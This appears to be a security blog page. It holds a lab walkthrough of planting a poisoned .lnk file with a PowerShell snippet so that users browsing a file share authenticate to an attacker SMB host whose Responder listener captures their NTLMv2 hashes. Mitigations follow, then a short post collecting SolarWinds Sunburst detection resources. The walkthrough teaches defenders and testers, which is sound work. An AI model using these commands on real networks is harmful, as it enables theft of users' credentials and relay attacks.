Using PowerShell, we’re able to create our own .lnk file that contains a poisoned icon path. By directing users to a remote SMB share as the file location of the thumbnail, we’re able to force users who access this file share to reach out and make an authentication request to a location that we control.

When can attackers use this?

This attack vector is especially useful in cases where you’ve obtained write access to a publicly accessible file share. If you can drop a specially crafted .lnk file in a location with high traffic, you should be able to capture a large number of NTLMv2 hashes for multiple users.

This can be further chained with SMB Relay attacks in the event that there are machines in the environment with SMB Signing disabled.

Topology of the Network

In our scenario, we have four machines that are all a part of the same internal network.

Windows Server 2019:

  • Acts as the domain controller.
  • Has a FQDN of king.nba.local.
  • IP address is
  • Hosts up a file share at \\King\Share

First Windows 10 Machine:

  • Joined to the nba.local domain.
  • Is used by NBA\kBryant domain user.
  • IP address is
  • O:\ drive is mapped to \\King\Share

Second Windows 10 Machine:

  • Joined to the nba.local domain.
  • Is used by NBA\kIrving domain user.
  • IP address is
  • O:\ drive is mapped to \\King\Share

Attacker Kali Linux:

  • Not domain joined.
  • IP address is

Performing the Attack

To begin, we need to first create our malicious .lnk file. Since we’ll be using PowerShell, you’ll need access to a Windows machine to generate the file, but it does not need to be domain-joined to the target network.

In a PowerShell prompt, we will create our malicious .lnk file using the following commands:

$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\Malicious.lnk")
$lnk.TargetPath = "\\<attackerIP>\@threat.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the dir this file lives in will perform an authentication request."
$lnk.HotKey = "Ctrl+Alt+O"

Once the commands are ran, it should generate a file to C:\Malicous.lnk. When a user browses to this file, the thumbnail will attempt to load an icon from \\<attackerIP>\@threat.png. This image obviously doesn’t exist, but we can leverage this connection attempt create a challenge that accepts a NTLMv2 hash.

We’ll now rename this file to include an @ symbol in the beginning and give it a less suspicious name. This will force the file to show up at the top of the file-share, which should increase the chances that users browse across it.

Finally, we’ll copy it down to the target network and drop it into a public file share.

With our file planted, let’s head over to our Kali instance, change into our Responder directory, and start up our listener. If you don’t know what this is, check out my guide on LLMNR poisoning at Abusing LLMNR/NBT-NS in Active Directory Domains: Part 1 (Capturing NTLMv2 Hashes).

cd /opt/Responder
sudo python Responder.py -I eth0

Now, let’s simulate a user browsing to this file share. From one of the domain-joined machines, we’ll navigate to the O:\ drive like a real user would do. Right away, we’re able to capture that user’s NTLMv2 hash.

This will continue until the file is removed from the server, which could allow an attacker the ability to capture a large number of NTLMv2 hashes before getting busted.

How Do We Mitigate This?

  • Egress firewall rules. If SMB connections (ports 445 and 139) are not allowed outbound, the attacker would never be able to challenge the request and capture the NTLMv2 hashes of the users.
  • Strict file share permissions. File shares should never allow for anybody to write to them. Users that need write access should be very limited in terms of which directories they can write in, and the principal of least privilege should always be followed.
  • Enforce SMB Signing. While this won’t prevent the attack from occurring, it will limit the impact. If SMB Signing is not required across the network, attackers can easily relay these hashes to authenticate to machines across the domain.
  • Strong Password Policy. Surely you know by now that this is a must-have. A strong password could make these captured hashes useless if SMB Signing is enforced and the hashes are uncrackable.

General IT

SolarWinds Sunburst Detection and Response to Indicators of Compromise

This post will be brief and to the point, but I wanted to share some resources that I found helpful when learning how to respond to this incident.

Table of Contents:

  • FireEye’s Blog
  • FireEye’s Detection Opportunities
  • FireEye’s Github Resources
  • Sophos Github Resources
  • Implementing Detection and Firewall Rules

FireEye’s Blog

Reviewing FireEye’s blog post on this topic is critical to understanding the behavior of the threat actors.

Key Takeaways for Response:

Detection Opportunity

“The attacker infrastructure leaks its configured hostname in RDP SSL certificates, which is identifiable in internet-wide scan data. This presents a detection opportunity for defenders — querying internet-wide scan data sources for an organization’s hostnames can uncover malicious IP addresses that may be masquerading as the organization. (Note: IP Scan history often shows IPs switching between default (WIN-*) hostnames and victim’s hostnames) Cross-referencing the list of IPs identified in internet scan data with remote access logs may identify evidence of this actor in an environment. There is likely to be a single account per IP address.”

Detection Opportunity

“This also presents some detection opportunities, as geolocating IP addresses used for remote access may show an impossible rate of travel if a compromised account is being used by the legitimate user and the attacker from disparate IP addresses. The attacker used multiple IP addresses per VPS provider, so once a malicious login from an unusual ASN is identified, looking at all logins from that ASN can help detect additional malicious activity. This can be done alongside baselining and normalization of ASN’s used for legitimate remote access to help identify suspicious activity.”

Detection Opportunity

“Organizations can use HX’s LogonTracker module to graph all logon activity and analyze systems displaying a one-to-many relationship between source systems and accounts. This will uncover any single system authenticating to multiple systems with multiple accounts, a relatively uncommon occurrence during normal business operations.”

Detection Opportunity

“Defenders can examine logs for SMB sessions that show access to legitimate directories and follow a delete-create-execute-delete-create pattern in a short amount of time. Additionally, defenders can monitor existing scheduled tasks for temporary updates, using frequency analysis to identify anomalous modification of tasks. Tasks can also be monitored to watch for legitimate Windows tasks executing new or unknown binaries.”

Leverage their GitHub Page

FireEye has released some awesome SIEM rules that you can implement to detect IoC’s.

Sophos Indicators of Compromise

Sophos has also compiled a Github repo that contains a list of known bad hashes, IP addresses, and domains.

Using the information above, I would recommend implementing the following:

  • Configure firewall egress rules that block outbound connections to the known bad IP addresses and domain names.